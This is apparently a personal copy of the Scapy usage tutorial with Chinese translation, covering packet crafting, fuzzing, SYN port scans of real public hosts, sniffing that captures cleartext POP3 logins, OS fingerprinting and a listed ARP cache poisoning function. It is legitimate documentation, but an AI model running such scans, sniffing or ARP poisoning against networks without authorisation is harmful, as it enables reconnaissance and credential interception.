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Scapy用法官方文档

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Scapy用法

2016年6月10日星期五

20:15

http://www.secdev.org/projects/scapy/doc/usage.html#starting-scapy

開始學習Scapy

?Scapy’s interactive shell is run in a terminal session. Root privileges are needed to send the packets, so we’re using?sudo?here:

在終端界面運行Scapy的交互式shell，并且發送數據包需要root權限：

$ sudo scapy
Welcome to Scapy (2.0.1-dev)
>>>

On Windows, please open a command prompt (cmd.exe) and make sure that you have administrator privileges:

在Windows以管理員權限運行一個cmd界面：

C:\>scapy
INFO: No IPv6 support in kernel
WARNING: No route found for IPv6 destination :: (no default route?)
Welcome to Scapy (2.0.1-dev)
>>>

If you do not have all optional packages installed, Scapy will inform you that some features will not be available:

如果你沒有安裝所有可選的包，Scapy 將會提示一些功能不能使用

INFO: Can't import python gnuplot wrapper . Won't be able to plot.
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().

The basic features of sending and receiving packets should still work, though.

發送和接收數據包的基本功能應該可以工作了

Interactive tutorial

交互式用法

This section will show you several of Scapy’s features. Just open a Scapy session as shown above and try the examples yourself.

本節將向您展示Scapy的一些功能。打開一個Scapy會話如上所示并嘗試自己的例子。

第一步

Let’s build a packet and play with it:

讓我們構造一個數據包和顯示數據包

>>> a=IP(ttl=10)
>>> a
< IP ttl=10 |>
>>> a.src
’127.0.0.1’
>>> a.dst="192.168.1.1"
>>> a
< IP ttl=10 dst=192.168.1.1 |>
>>> a.src
’192.168.8.14’
>>> del(a.ttl)
>>> a
< IP dst=192.168.1.1 |>
>>> a.ttl
64

數據包分層

The?/?operator has been used as a composition operator between two layers. When doing so, the lower layer can have one or more of its defaults fields overloaded according to the upper layer. (You still can give the value you want). A string can be used as a raw layer.

用/進行數據包兩層之間的合并，并且你可以自定義數據包的各個字段，如果不填寫，會使用默認的字段

Each packet can be build or dissected (note: in Python?_?(underscore) is the latest result):

每一個數據包都可以構造或切分(注意:在Python _(下劃線)是最后的結果):

>>> str(IP())
'E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01'
>>> IP(_)
<IP version=4L ihl=5L tos=0x0 len=20 id=1 flags= frag=0L ttl=64 proto=IP
?chksum=0x7ce7 src=127.0.0.1 dst=127.0.0.1 |>
>>> ?a=Ether()/IP(dst="www.slashdot.org")/TCP()/"GET /index.html HTTP/1.0 \n\n"
>>> ?hexdump(a)
00 02 15 37 A2 44 00 AE F3 52 AA D1 08 00 45 00? ...7.D...R....E.
00 43 00 01 00 00 40 06 78 3C C0 A8 05 15 42 23? .C....@.x<....B#
FA 97 00 14 00 50 00 00 00 00 00 00 00 00 50 02? .....P........P.
20 00 BB 39 00 00 47 45 54 20 2F 69 6E 64 65 78?? ..9..GET /index
2E 68 74 6D 6C 20 48 54 54 50 2F 31 2E 30 20 0A? .html HTTP/1.0 .
0A?????????????????????????????????????????????? .
>>> b=str(a)
>>> b
'\x00\x02\x157\xa2D\x00\xae\xf3R\xaa\xd1\x08\x00E\x00\x00C\x00\x01\x00\x00@\x06x<\xc0
?\xa8\x05\x15B#\xfa\x97\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00
?\xbb9\x00\x00GET /index.html HTTP/1.0 \n\n'
>>> c=Ether(b)
>>> c
<Ether dst=00:02:15:37:a2:44 src=00:ae:f3:52:aa:d1 type=0x800 |<IP version=4L
?ihl=5L tos=0x0 len=67 id=1 flags= frag=0L ttl=64 proto=TCP chksum=0x783c
?src=192.168.5.21 dst=66.35.250.151 options='' |<TCP sport=20 dport=80 seq=0L
?ack=0L dataofs=5L reserved=0L flags=S window=8192 chksum=0xbb39 urgptr=0
?options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>>

?We see that a dissected packet has all its fields filled. That’s because I consider that each field has its value imposed by the original string. If this is too verbose, the method hide_defaults() will delete every field that has the same value as the default:

>>> c.hide_defaults()
>>> c
<Ether dst=00:0f:66:56:fa:d2 src=00:ae:f3:52:aa:d1 type=0x800 |<IP ihl=5L len=67
?frag=0 proto=TCP chksum=0x783c src=192.168.5.21 dst=66.35.250.151 |<TCP dataofs=5L
?chksum=0xbb39 options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>>

讀取 PCAP 文件

You can read packets from a pcap file and write them to a pcap file.

你可以從pcap讀取數據包文件,并把它們到一個pcap文件中。

?>>> a=rdpcap("/spare/captures/isakmp.cap")

>>> a
<isakmp.cap: UDP:721 TCP:0 ICMP:0 Other:0>

圖形化展示(PDF, PS)

If you have PyX installed, you can make a graphical PostScript/PDF dump of a packet or a list of packets (see the ugly PNG image below. PostScript/PDF are far better quality...):

如果你已經安裝了PyX ，你能夠用圖像化PostScript/PDF展示數據包(如下png圖片展示. PostScript/PDF展示的更好):

?>>> a[423].pdfdump(layer_shift=1)

>>> a[423].psdump("/tmp/isakmp_pkt.eps",layer_shift=1)

Command	Effect
str(pkt)	assemble the packet
hexdump(pkt)	have an hexadecimal dump
ls(pkt)	have the list of fields values
pkt.summary()	for a one-line summary
pkt.show()	for a developped view of the packet
pkt.show2()	same as show but on the assembled packet (checksum is calculated, for instance)
pkt.sprintf()	fills a format string with fields values of the packet
pkt.decode_payload_as()	changes the way the payload is decoded
pkt.psdump()	draws a PostScript diagram with explained dissection
pkt.pdfdump()	draws a PDF with explained dissection
pkt.command()	return a Scapy command that can generate the packet

Generating sets of packets

生成數據包集

For the moment, we have only generated one packet.

目前，我們僅僅是構造了一個數據包，下面我們可以怎么樣很容易的生成一個數據包集，整個數據包的每個字段我們都可以自己定義，

This implicidely define a set of packets, generated using a kind of cartesian product between all the fields.

每個定義的數據包Scapy可以在每個字段中間生成一個笛卡爾集合

Some operations (like building the string from a packet) can’t work on a set of packets. In these cases, if you forgot to unroll your set of packets, only the first element of the list you forgot to generate will be used to assemble the packet.

Command	Effect
summary()	displays a list of summaries of each packet
nsummary()	same as previous, with the packet number
conversations()	displays a graph of conversations
show()	displays the prefered representation (usually nsummary())
filter()	returns a packet list filtered with a lambda function
hexdump()	returns a hexdump of all packets
hexraw()	returns a hexdump of the Raw layer of all packets
padding()	returns a hexdump of packets with padding
nzpadding()	returns a hexdump of packets with non-zero padding
plot()	plots a lambda function applied to the packet list
make table()	displays a table according to a lambda function

Sending packets

發送數據包

Now that we know how to manipulate packets. Let’s see how to send them. The send() function will send packets at layer 3. That is to say it will handle routing and layer 2 for you. The sendp() function will work at layer 2. It’s up to you to choose the right interface and the right link layer protocol.

現在你知道怎么樣構造數據包了，下面介紹怎么樣發送數據包。用send()方法能夠發送3層數據包，用sendp()將處理二層數據包，有你選擇正確的接口和正確的鏈路層協議

>>> send(IP(dst="1.2.3.4")/ICMP())
.
Sent 1 packets.
>>> sendp(Ether()/IP(dst="1.2.3.4",ttl=(1,4)), iface="eth1")
....
Sent 4 packets.
>>> sendp("I'm travelling on Ethernet", iface="eth1", loop=1, inter=0.2)
................^C
Sent 16 packets.
>>> sendp(rdpcap("/tmp/pcapfile")) # tcpreplay
...........
Sent 11 packets.

Fuzzing

The function fuzz() is able to change any default value that is not to be calculated (like checksums) by an object whose value is random and whose type is adapted to the field. This enables to quicky built fuzzing templates and send them in loop. In the following example, the IP layer is normal, and the UDP and NTP layers are fuzzed. The UDP checksum will be correct, the UDP destination port will be overloaded by NTP to be 123 and the NTP version will be forced to be 4. All the other ports will be randomized:

“fuzz()”函數可以通過一個具有隨機值、數據類型合適的對象，來改變任何默認值，但該值是不能被計算的（像校驗和那樣）。這使得可以快速建立循環模糊化測試模板。在下面的例子中，IP層是正常的，UDP層和NTP層被fuzz。UDP的校驗和是正確的，UDP的目的端口被NTP重載為123，而且NTP的版本被更變為4.其他所有的端口將被隨機分組：

>>> send(IP(dst="target")/fuzz(UDP()/NTP(version=4)),loop=1)
................^C
Sent 16 packets.

Send and receive packets (sr)

發送和接收數據包（“sr”）

Now, let’s try to do some fun things. The sr() function is for sending packets and receiving answers. The function returns a couple of packet and answers, and the unanswered packets. The function sr1() is a variant that only return one packet that answered the packet (or the packet set) sent. The packets must be layer 3 packets (IP, ARP, etc.). The function srp() do the same for layer 2 packets (Ethernet, 802.3, etc.).

現在讓我們做一些有趣的事情。“sr()”函數是用來發送數據包和接收應答。該函數返回一對數據包及其應答，還有無應答的數據包。“sr1()”函數是一種變體，用來返回一個應答數據包。發送的數據包必須是第3層報文（IP，ARP等）。“srp()”則是使用第2層報文（以太網，802.3等）。

>>> p=sr1(IP(dst="www.slashdot.org")/ICMP()/"XXXXXXXXXXX")
Begin emission:
...Finished to send 1 packets.
.*
Received 5 packets, got 1 answers, remaining 0 packets
>>> p
<IP version=4L ihl=5L tos=0x0 len=39 id=15489 flags= frag=0L ttl=42 proto=ICMP
?chksum=0x51dd src=66.35.250.151 dst=192.168.5.21 options='' |<ICMP type=echo-reply
?code=0 chksum=0xee45 id=0x0 seq=0x0 |<Raw load='XXXXXXXXXXX'
?|<Padding load='\x00\x00\x00\x00' |>>>>
>>> p.show()
---[ IP ]---
version?? = 4L
ihl?????? = 5L
tos?????? = 0x0
len?????? = 39
id??????? = 15489
flags???? =
frag????? = 0L
ttl?????? = 42
proto???? = ICMP
chksum??? = 0x51dd
src?????? = 66.35.250.151
dst?????? = 192.168.5.21
options?? = ''
---[ ICMP ]---
?? type????? = echo-reply
?? code????? = 0
?? chksum??? = 0xee45
?? id??????? = 0x0
?? seq?????? = 0x0
---[ Raw ]---
????? load????? = 'XXXXXXXXXXX'
---[ Padding ]---
???????? load????? = '\x00\x00\x00\x00'

A DNS query (rd?= recursion desired). The host 192.168.5.1 is my DNS server. Note the non-null padding coming from my Linksys having the Etherleak flaw:

DNS查詢（“rd” = recursion desired）。主機192.168.5.1是我的DNS服務器。注意從我Linksys來的非空填充具有Etherleak缺陷：

>>> sr1(IP(dst="192.168.5.1")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.slashdot.org")))
Begin emission:
Finished to send 1 packets.
..*
Received 3 packets, got 1 answers, remaining 0 packets
<IP version=4L ihl=5L tos=0x0 len=78 id=0 flags=DF frag=0L ttl=64 proto=UDP chksum=0xaf38
?src=192.168.5.1 dst=192.168.5.21 options='' |<UDP sport=53 dport=53 len=58 chksum=0xd55d
?|<DNS id=0 qr=1L opcode=QUERY aa=0L tc=0L rd=1L ra=1L z=0L rcode=ok qdcount=1 ancount=1
?nscount=0 arcount=0 qd=<DNSQR qname='www.slashdot.org.' qtype=A qclass=IN |>
?an=<DNSRR rrname='www.slashdot.org.' type=A rclass=IN ttl=3560L rdata='66.35.250.151' |>
?ns=0 ar=0 |<Padding load='\xc6\x94\xc7\xeb' |>>>>

The “send’n’receive” functions family is the heart of scapy. They return a couple of two lists. The first element is a list of couples (packet sent, answer), and the second element is the list of unanswered packets. These two elements are lists, but they are wrapped by an object to present them better, and to provide them with some methods that do most frequently needed actions:

發送和接收函數族是scapy中的核心部分。它們返回一對兩個列表。第一個就是發送的數據包及其應答組成的列表，第二個是無應答數據包組成的列表。為了更好地呈現它們，它們被封裝成一個對象，并且提供了一些便于操作的方法：

>>> sr(IP(dst="192.168.8.1")/TCP(dport=[21,22,23]))
Received 6 packets, got 3 answers, remaining 0 packets
(<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)
>>> ans,unans=_
>>> ans.summary()
IP / TCP 192.168.8.14:20 > 192.168.8.1:21 S ==> Ether / IP / TCP 192.168.8.1:21 > 192.168.8.14:20 RA / Padding
IP / TCP 192.168.8.14:20 > 192.168.8.1:22 S ==> Ether / IP / TCP 192.168.8.1:22 > 192.168.8.14:20 RA / Padding
IP / TCP 192.168.8.14:20 > 192.168.8.1:23 S ==> Ether / IP / TCP 192.168.8.1:23 > 192.168.8.14:20 RA / Padding

If there is a limited rate of answers, you can specify a time interval to wait between two packets with the inter parameter. If some packets are lost or if specifying an interval is not enough, you can resend all the unanswered packets, either by calling the function again, directly with the unanswered list, or by specifying a retry parameter. If retry is 3, scapy will try to resend unanswered packets 3 times. If retry is -3, scapy will resend unanswered packets until no more answer is given for the same set of unanswered packets 3 times in a row. The timeout parameter specify the time to wait after the last packet has been sent:

如果對于應答數據包有速度限制，你可以通過“inter”參數來設置兩個數據包之間等待的時間間隔。如果有些數據包丟失了，或者設置時間間隔不足以滿足要求，你可以重新發送所有無應答數據包。你可以簡單地對無應答數據包列表再調用一遍函數，或者去設置“retry”參數。如果retry設置為3，scapy會對無應答的數據包重復發送三次。如果retry設為-3，scapy則會一直發送無應答的數據包，直到“timeout”參數等待最后一個數據包已發送的時間。

>>> sr(IP(dst="172.20.29.5/30")/TCP(dport=[21,22,23]),inter=0.5,retry=-2,timeout=1)
Begin emission:
Finished to send 12 packets.
Begin emission:
Finished to send 9 packets.
Begin emission:
Finished to send 9 packets.

Received 100 packets, got 3 answers, remaining 9 packets
(<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:9 ICMP:0 Other:0>)

SYN Scans

Classic SYN Scan can be initialized by executing the following command from Scapy’s prompt:

在Scapy提示符中執行以下命令，可以對經典的SYN Scan初始化：

>>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S"))

The above will send a single SYN packet to Google’s port 80 and will quit after receving a single response:

以上向Google的80端口發送了一個SYN數據包，會在接收到一個應答后退出：

Begin emission:
.Finished to send 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
<IP? version=4L ihl=5L tos=0x20 len=44 id=33529 flags= frag=0L ttl=244
proto=TCP chksum=0x6a34 src=72.14.207.99 dst=192.168.1.100 options=// |
<TCP? sport=www dport=ftp-data seq=2487238601L ack=1 dataofs=6L reserved=0L
flags=SA window=8190 chksum=0xcdc7 urgptr=0 options=[('MSS', 536)] |
<Padding? load='V\xf7' |>>>

From the above output, we can see Google returned “SA” or SYN-ACK flags indicating an open port.

Use either notations to scan ports 400 through 443 on the system:

從以上的輸出中可以看出，Google返回了一個SA（SYN-ACK）標志位，表示80端口是開放的。

使用其他標志位掃描一下系統的440到443端口：

>>> sr(IP(dst="192.168.1.1")/TCP(sport=666,dport=(440,443),flags="S"))

>>> sr(IP(dst="192.168.1.1")/TCP(sport=RandShort(),dport=[440,441,442,443],flags="S"))

In order to quickly review responses simply request a summary of collected packets:

可以對收集的數據包進行摘要（summary），來快速地瀏覽響應:

>>> ans,unans = _
>>> ans.summary()
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:440 S ======> IP / TCP 192.168.1.1:440 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:441 S ======> IP / TCP 192.168.1.1:441 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:442 S ======> IP / TCP 192.168.1.1:442 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp-data SA / Padding

The above will display stimulus/response pairs for answered probes. We can display only the information we are interested in by using a simple loop:

以上顯示了我們在掃描過程中的請求應答對。我們也可以用一個循環來只顯示我們感興趣的信息：

>>> ans.summary( lambda(s,r): r.sprintf("%TCP.sport% \t %TCP.flags%") )
440????? RA
441????? RA
442????? RA
https??? SA

Even better, a table can be built using the?make_table()?function to display information about multiple targets:

可以使用“make_table()”函數建立一個表格，更好地顯示多個目標信息：

>>> ans,unans = sr(IP(dst=["192.168.1.1","yahoo.com","slashdot.org"])/TCP(dport=[22,80,443],flags="S"))
Begin emission:
.......*.**.......Finished to send 9 packets.
**.*.*..*..................
Received 362 packets, got 8 answers, remaining 1 packets
>>> ans.make_table(
... ???lambda(s,r): (s.dst, s.dport,
... ???r.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src% - %ICMP.type%}")))
??? 66.35.250.150??????????????? 192.168.1.1 216.109.112.135
22? 66.35.250.150 - dest-unreach RA????????? -
80? SA?????????????????????????? RA????????? SA
443 SA?????????????????????????? SA????????? SA

The above example will even print the ICMP error type if the ICMP packet was received as a response instead of expected TCP.

在以上的例子中，如果接收到作為響應的ICMP數據包而不是預期的TCP數據包，就會打印出ICMP差錯類型（error type）。

For larger scans, we could be interested in displaying only certain responses. The example below will only display packets with the “SA” flag set:

對于更大型的掃描，我們可能對某個響應感興趣，下面的例子就只顯示設置了“SA”標志位的數據包：

>>> ans.nsummary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") == "SA")
0003 IP / TCP 192.168.1.100:ftp_data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp_data SA

In case we want to do some expert analysis of responses, we can use the following command to indicate which ports are open:

如果我們想對響應進行專業分析，我們可以使用以下的命令顯示哪些端口是開放的：

>>> ans.summary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") == "SA",prn=lambda(s,r):r.sprintf("%TCP.sport% is open"))
https is open

Again, for larger scans we can build a table of open ports:

對于更大型的掃描，我們可以建立一個端口開放表：

>>> ans.filter(lambda (s,r):TCP in r and r[TCP].flags&2).make_table(lambda (s,r):
... ????????????(s.dst, s.dport, "X"))
??? 66.35.250.150 192.168.1.1 216.109.112.135
80? X???????????? -?????????? X
443 X???????????? X?????????? X

If all of the above methods were not enough, Scapy includes a report_ports() function which not only automates the SYN scan, but also produces a LaTeX output with collected results:

如果以上的方法還不夠，Scapy還包含一個“report_ports()”函數，該函數不僅可以自動化SYN scan，而且還會對收集的結果以LaTeX形式輸出：

>>> report_ports("192.168.1.1",(440,443))
Begin emission:
...*.**Finished to send 4 packets.
*
Received 8 packets, got 4 answers, remaining 0 packets
'\\begin{tabular}{|r|l|l|}\n\\hline\nhttps & open & SA \\\\\n\\hline\n440
?& closed & TCP RA \\\\\n441 & closed & TCP RA \\\\\n442 & closed &
TCP RA \\\\\n\\hline\n\\hline\n\\end{tabular}\n'

TCP traceroute

A TCP traceroute:

TCP路由追蹤：

>>> ans,unans=sr(IP(dst=target, ttl=(4,25),id=RandShort())/TCP(flags=0x2))
*****.******.*.***..*.**Finished to send 22 packets.
***......
Received 33 packets, got 21 answers, remaining 1 packets
>>> for snd,rcv in ans:
... ????print snd.ttl, rcv.src, isinstance(rcv.payload, TCP)
...
5 194.51.159.65 0
6 194.51.159.49 0
4 194.250.107.181 0
7 193.251.126.34 0
8 193.251.126.154 0
9 193.251.241.89 0
10 193.251.241.110 0
11 193.251.241.173 0
13 208.172.251.165 0
12 193.251.241.173 0
14 208.172.251.165 0
15 206.24.226.99 0
16 206.24.238.34 0
17 173.109.66.90 0
18 173.109.88.218 0
19 173.29.39.101 1
20 173.29.39.101 1
21 173.29.39.101 1
22 173.29.39.101 1
23 173.29.39.101 1
24 173.29.39.101 1

Note that the TCP traceroute and some other high-level functions are already coded:

注意：TCP路由跟蹤和其他高級函數早已被構造好了：

>>> lsc()
sr?????????????? : Send and receive packets at layer 3
sr1????????????? : Send packets at layer 3 and return only the first answer
srp????????????? : Send and receive packets at layer 2
srp1???????????? : Send and receive packets at layer 2 and return only the first answer
srloop?????????? : Send a packet at layer 3 in loop and print the answer each time
srploop????????? : Send a packet at layer 2 in loop and print the answer each time
sniff??????????? : Sniff packets
p0f????????????? : Passive OS fingerprinting: which OS emitted this TCP SYN ?
arpcachepoison?? : Poison target's cache with (your MAC,victim's IP) couple
send???????????? : Send packets at layer 3
sendp??????????? : Send packets at layer 2
traceroute?????? : Instant TCP traceroute
arping?????????? : Send ARP who-has requests to determine which hosts are up
ls?????????????? : List? available layers, or infos on a given layer
lsc????????????? : List user commands
queso??????????? : Queso OS fingerprinting
nmap_fp????????? : nmap fingerprinting
report_ports???? : portscan a target and output a LaTeX table
dyndns_add?????? : Send a DNS add message to a nameserver for "name" to have a new "rdata"
dyndns_del?????? : Send a DNS delete message to a nameserver for "name"
[...]

Configuring super sockets

配置高級sockets

The process of sending packets and receiving is quite complicated. As I wanted to use the PF_PACKET interface to go through netfilter, I also needed to implement an ARP stack and ARP cache, and a LL stack. Well it seems to work, on ethernet and PPP interfaces, but I don’t guarantee anything. Anyway, the fact I used a kind of super-socket for that mean that you can switch your IO layer very easily, and use PF_INET/SOCK_RAW, or use PF_PACKET at level 2 (giving the LL header (ethernet,...) and giving yourself mac addresses, ...). I’ve just added a super socket which use libdnet and libpcap, so that it should be portable:

發送和接收數據包的過程是相當復雜的。我想用PF_PACKET接口來通過netfilter，我也需要實現一個ARP堆棧、ARP緩存和一個堆棧。在以太網和ppp接口上看來可以工作，但我不保證任何事情。不管怎樣,事實上我使用一種super-socket，這意味著你可以很容易的切換IO層，并使用PF_INET / SOCK_RAW，或者使用PF_PACKET的級別2(得到LL頭(以太網,…)和自己的mac地址,…)。我剛剛添加了一個使用libdnet和libpcap,的super socket，所以它應該可以移植：

>>> conf.L3socket=L3dnetSocket
>>> conf.L3listen=L3pcapListenSocket

Sniffing

We can easily capture some packets or even clone tcpdump or tethereal. If no interface is given, sniffing will happen on every interfaces:

我們可以簡單地捕獲數據包，或者是克隆tcpdump或tethereal的功能。如果沒有指定接口，則會在所有的接口上進行嗅探：

>>> ?sniff(filter="icmp and host 66.35.250.151", count=2)
<Sniffed: UDP:0 TCP:0 ICMP:2 Other:0>
>>> ?a=_
>>> ?a.nsummary()
0000 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw
0001 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw
>>> ?a[1]
<Ether dst=00:ae:f3:52:aa:d1 src=00:02:15:37:a2:44 type=0x800 |<IP version=4L
?ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=ICMP chksum=0x3831
?src=192.168.5.21 dst=66.35.250.151 options='' |<ICMP type=echo-request code=0
?chksum=0x6571 id=0x8745 seq=0x0 |<Raw load='B\xf7g\xda\x00\x07um\x08\t\n\x0b
?\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d
?\x1e\x1f !\x22#$%&\'()*+,-./01234567' |>>>>
>>> sniff(iface="wifi0", prn=lambda x: x.summary())
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 5 00:0a:41:ee:a5:50 / 802.11 Probe Response / Info SSID / Info Rates / Info DSset / Info 133
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 11 00:07:50:d6:44:3f / 802.11 Authentication
802.11 Management 11 00:0a:41:ee:a5:50 / 802.11 Authentication
802.11 Management 0 00:07:50:d6:44:3f / 802.11 Association Request / Info SSID / Info Rates / Info 133 / Info 149
802.11 Management 1 00:0a:41:ee:a5:50 / 802.11 Association Response / Info Rates / Info 133 / Info 149
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 / LLC / SNAP / ARP who has 172.20.70.172 says 172.20.70.171 / Padding
802.11 / LLC / SNAP / ARP is at 00:0a:b7:4b:9c:dd says 172.20.70.172 / Padding
802.11 / LLC / SNAP / IP / ICMP echo-request 0 / Raw
802.11 / LLC / SNAP / IP / ICMP echo-reply 0 / Raw
>>> sniff(iface="eth1", prn=lambda x: x.show())
---[ Ethernet ]---
dst?????? = 00:ae:f3:52:aa:d1
src?????? = 00:02:15:37:a2:44
type????? = 0x800
---[ IP ]---
?? version?? = 4L
?? ihl?????? = 5L
?? tos?????? = 0x0
?? len?????? = 84
?? id??????? = 0
?? flags???? = DF
?? frag????? = 0L
?? ttl?????? = 64
?? proto???? = ICMP
?? chksum??? = 0x3831
?? src?????? = 192.168.5.21
?? dst?????? = 66.35.250.151
?? options?? = ''
---[ ICMP ]---
????? type????? = echo-request
????? code????? = 0
????? chksum??? = 0x89d9
????? id??????? = 0xc245
????? seq?????? = 0x0
---[ Raw ]---
???????? load????? = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567'
---[ Ethernet ]---
dst?????? = 00:02:15:37:a2:44
src?????? = 00:ae:f3:52:aa:d1
type????? = 0x800
---[ IP ]---
?? version?? = 4L
?? ihl?????? = 5L
?? tos?????? = 0x0
?? len?????? = 84
?? id??????? = 2070
?? flags???? =
?? frag????? = 0L
?? ttl?????? = 42
?? proto???? = ICMP
?? chksum??? = 0x861b
?? src?????? = 66.35.250.151
?? dst?????? = 192.168.5.21
?? options?? = ''
---[ ICMP ]---
????? type????? = echo-reply
????? code????? = 0
????? chksum??? = 0x91d9
????? id??????? = 0xc245
????? seq?????? = 0x0
---[ Raw ]---
???????? load????? = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567'
---[ Padding ]---
??????????? load????? = '\n_\x00\x0b'

For even more control over displayed information we can use the?sprintf()?function:

對于控制輸出信息，我們可以使用“sprintf()”函數：

>>> pkts = sniff(prn=lambda x:x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}"))
192.168.1.100 -> 64.233.167.99

64.233.167.99 -> 192.168.1.100

192.168.1.100 -> 64.233.167.99

192.168.1.100 -> 64.233.167.99
'GET / HTTP/1.1\r\nHost: 64.233.167.99\r\nUser-Agent: Mozilla/5.0
(X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy)
Firefox/2.0.0.8\r\nAccept: text/xml,application/xml,application/xhtml+xml,
text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Language:
en-us,en;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset:
ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 300\r\nConnection:
keep-alive\r\nCache-Control: max-age=0\r\n\r\n'

We can sniff and do passive OS fingerprinting:

我們可以嗅探并進行被動操作系統指紋識別：

>>> p
<Ether dst=00:10:4b:b3:7d:4e src=00:40:33:96:7b:60 type=0x800 |<IP version=4L
?ihl=5L tos=0x0 len=60 id=61681 flags=DF frag=0L ttl=64 proto=TCP chksum=0xb85e
?src=192.168.8.10 dst=192.168.8.1 options='' |<TCP sport=46511 dport=80
?seq=2023566040L ack=0L dataofs=10L reserved=0L flags=SEC window=5840
?chksum=0x570c urgptr=0 options=[('Timestamp', (342940201L, 0L)), ('MSS', 1460),
?('NOP', ()), ('SAckOK', ''), ('WScale', 0)] |>>>
>>> load_module("p0f")
>>> p0f(p)
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
>>> a=sniff(prn=prnp0f)
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
(0.875, ['Linux 2.4.2 - 2.4.14 (1)', 'Linux 2.4.10 (1)', 'Windows 98 (?)'])
(1.0, ['Windows 2000 (9)'])

The number before the OS guess is the accurracy of the guess.

猜測操作系統版本前的數字為猜測的精確度。

Filters

Demo of both bpf filter and sprintf() method:

演示一下bpf過濾器和sprintf()方法：

>>> a=sniff(filter="tcp and ( port 25 or port 110 )",
?prn=lambda x: x.sprintf("%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport%? %2s,TCP.flags% : %TCP.payload%"))
192.168.8.10:47226 -> 213.228.0.14:110?? S :
213.228.0.14:110 -> 192.168.8.10:47226? SA :
192.168.8.10:47226 -> 213.228.0.14:110?? A :
213.228.0.14:110 -> 192.168.8.10:47226? PA : +OK <13103.1048117923@pop2-1.free.fr>

192.168.8.10:47226 -> 213.228.0.14:110?? A :
192.168.8.10:47226 -> 213.228.0.14:110? PA : USER toto

213.228.0.14:110 -> 192.168.8.10:47226?? A :
213.228.0.14:110 -> 192.168.8.10:47226? PA : +OK

192.168.8.10:47226 -> 213.228.0.14:110?? A :
192.168.8.10:47226 -> 213.228.0.14:110? PA : PASS tata

213.228.0.14:110 -> 192.168.8.10:47226? PA : -ERR authorization failed

192.168.8.10:47226 -> 213.228.0.14:110?? A :
213.228.0.14:110 -> 192.168.8.10:47226? FA :
192.168.8.10:47226 -> 213.228.0.14:110? FA :
213.228.0.14:110 -> 192.168.8.10:47226?? A :

Send and receive in a loop

在循環中接收和發送

Here is an example of a (h)ping-like functionnality : you always send the same set of packets to see if something change:

這兒有一個例子來實現類似(h)ping的功能：你一直發送同樣的數據包集合來觀察是否發生變化：

>>> srloop(IP(dst="www.target.com/30")/TCP())
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
??????? IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
??????? IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
??????? IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
??????? IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
